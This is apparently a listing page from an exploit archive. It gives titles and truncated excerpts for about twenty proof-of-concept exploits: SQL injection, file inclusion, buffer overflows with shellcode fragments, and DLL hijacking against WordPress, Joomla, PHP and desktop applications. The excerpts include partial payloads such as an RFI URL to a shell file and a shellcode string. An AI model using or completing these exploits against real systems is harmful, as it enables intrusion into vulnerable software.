WordPress Contact Form plugin <= 2.7.5 - SQL Injection

No description provided by source. Exploit Title: WordPress Contact Form plugin = 2.7.5 SQL Injection Vulnerability Date: 2011-10-13 Author: Skraps jackie.craig.sparksatlive.com jackie.craig.sparksatgmail.com @skrapsfoo Software Link: http://downloads.wordpress.org/plugin/contact-form-wordpress.z...

sitexs cms 0.1.1 (upload/xss) Multiple Vulnerabilities

No description provided by source. =========================================================== SiteXS CMS Upload/XSS Multiple Remote Vulnerabilities =========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground...

OllyDBG 1.10 and ImpREC 1.7f - (export name) BOF PoC

No description provided by source. ;-------------------------------------------------------------------------; ; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability ; PoC probably older versions affected too, not tested though. ; ; Included shellcode shows a messagebox WinXP...

Free MP3 CD Ripper 2.6 - (wav) 1day stack buffer overflow PoC exploit

No description provided by source. ?php / Free MP3 CD Ripper 2.6 wav 1day stack buffer overflow PoC exploit Found by: Richard leahy Author: mrme - http://net-ninja.net/ Download: http://www.soft32.com/Download/Free/FreeMP3CDRipper/4-250188-1.html Platform: Windows XP sp3 Greetz to: Corelan Securi...

MagnetoSoft NetworkResources 4.0.0.5 - ActiveX NetShareEnum SEH Overwrite PoC

No description provided by source. html object classid='clsid:61251370-92BF-4A0E-8236-5904AC6FC9F2' id='target' //object script language='vbscript' 'Magneto Software Net Resource ActiveX NetShareEnum SEH Overwrite POC 'Discovered by: s4squatch 'Site: www.securestate.com 'Date Discovered: 02/11/10...

Guitar Pro 6.1.1 r10791 (.gpx) Crash PoC

No description provided by source. !/usr/bin/python --------------------------------------------------------- Guitar Pro 6.1.1 r10791 .gpx Crash POC found by condis Date : 01 May 2012 AD Tested on : Windows XP Professional SP3 PL Description : Each load of malformated file into the program ends u...

Remote-Anything Player 5.60.15 Denial of Service

No description provided by source. !python Title: Remote-Anything Player 5.60.15 PoC Author: Saint Patrick [email protected] Date: 4/25/2012 Just a heads up, you can get full EIP by pushing on. However, at crash time no registers point to buffer, so I chose instead to work with the 3 byte...

eDContainer 2.22 - (lg) Local File Inclusion Vulnerability

No description provided by source. | | | \ \ \ / / / \ / | / | / | | | | | | \ V / / \ | | | | | | | | | | | / \ | || | | | | | || || \ || // \ | | | eDContainer v2.22 lg Local File Inclusion Vulnerability Script :...

PHP <= 4.4.6 ibase_connect() Local Buffer Overflow Exploit

No description provided by source. ?php // PHP = 4.4.6 ibaseconnect & ibasepconnect local buffer overflow // poc exploit // windows 2000 sp3 en / seh overwrite // by rgod // site: http://retrogod.altervista.org if !extensionloadedinterbase dieonly works with interbase extension ; $scode= \xeb\x1b...

Microsoft Office Groove 2007 DLL Hijacking Exploit (mso.dll)

No description provided by source. / Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora, Anirban ,Ganesha, Dinesh Arora Site : www.beenuarora.com Exploit Title: Microsoft Office Groove 2007 DLL Hijacking Date: 25/08/2010 Author: Beenu Arora Tested on: Windows...

Joomla Component AddressBook com_addressbook Local File Inclusion Vulnerability

No description provided by source. ================================================================================================================= o Joomla Component AddressBook Local File Inclusion Vulnerability Software : comaddressbook version 1.5.0 Author : AntiSecurity Vrs-hCk NoGe OoNBoY...

Xomol CMS <= 1.2 Login Bypass / LFI Vulnerabilities

No description provided by source. '/ -.- -------------oOO------OOo------------ | Xomol CMS v1 Login Bypass & LFI | | coded by DNX | ---------------------------------------- ! Discovered.: DNX ! Vendor.....: http://www.xomol.net ! Detected...: 12.05.2008 ! Reported...: 13.05.2008 didn't work: hos...

WFTPD Explorer Pro 1.0 - Remote Heap Overflow PoC

No description provided by source. WftpdExpProHeapPoC.py Discovered by r4x Kamil Szczerba [email protected] Soft : WFTPD Explorer Pro 1.0 Vendor : Texas Imperial Software Vuln : Heap Overwlow Res: LIST Exploit : PoC Reg Overwrite Reg: EAX = 41414141 ECX = 41414141 EDX = 00a57b38 ASCII AAAA... ESI =...

DotNetNuke DNNArticle Module 10.0 - SQL Injection Vulnerability

No description provided by source. Title: DotNetNuke DNNArticle Module SQL Injection Vulnerability References: CVE-2013-5117 Discovered by: Sajjad Pourali Vendor http://www.zldnn.com/ , http://www.dnnarticle.com/? Vendor advisory:...

Joomla Component Online Exam com_onlineexam Local File Inclusion Vulnerability

No description provided by source. ================================================================================================================ o Joomla Component Online Exam Local File Inclusion Vulnerability Software : comonlineexam version 1.5.0 Author : AntiSecurity Vrs-hCk NoGe OoNBoY...

ZeroShell 'cgi-bin/kerbynet' - Local File Disclosure Vulnerability

No description provided by source. Introduction to the PoC : ====================================================================== In this distribution, the managment website is a binary file named kerbynet interpreted in cgi-bin directory here : /cdrom/usr/local/apache2/cgi-bin/kerbynet So all...

superengine CMS (Custom Pack) SQL Injection Vulnerability

No description provided by source. || | / \ / / | | \ / \ / / \ \ /\ /| | |/ | \ / \ / ||/ /|| /\ / / / / .org Author: 10n1z3d 10n1z3datwdotcn Date: 15/02/2010 --------------------------------------------------------- superengine CMS Custom Pack SQL Injection Vulnerability...

PHP Project Management <= 0.8.10 Multiple RFI / LFI Vulnerabilities

No description provided by source. PHP Project Management = 0.8.10 Multiple RFI / LFI Vulnerabilities http://surfnet.dl.sourceforge.net/sourceforge/php-pm/release-0.8.tar.gz DORK : PHP Project Management 0.8.10 POC : RFI /modules/certinfo/index.php?fullpath=http://localhost/shell.txt?...

Cype CMS SQL Injection Vulnerability

No description provided by source. Exploit Title: Cype Content Management System Remote SQL Injection Exploit Date: January 1st, 2010 Author: Sora Version: Revision 241 Tested on: Linux Backtrack 3 ----------------------------------------- Cype CMS Remote SQL Injection Exploit Author: Sora Contac...

FengCMS本地文件包含一枚

简要描述： LFI 详细说明： 条件：PHP'; else echo ''; else if $GET'tags' != '' $encode = mbdetectencoding $GET'tags', array "ASCII", "UTF-8", "GB2312", "GBK", "BIG5" ; if $encode != "UTF-8" $GET'tags' = iconv "gb2312", "UTF-8", $GET'tags' ; if$GET'tags' if$GET'project'!="" return...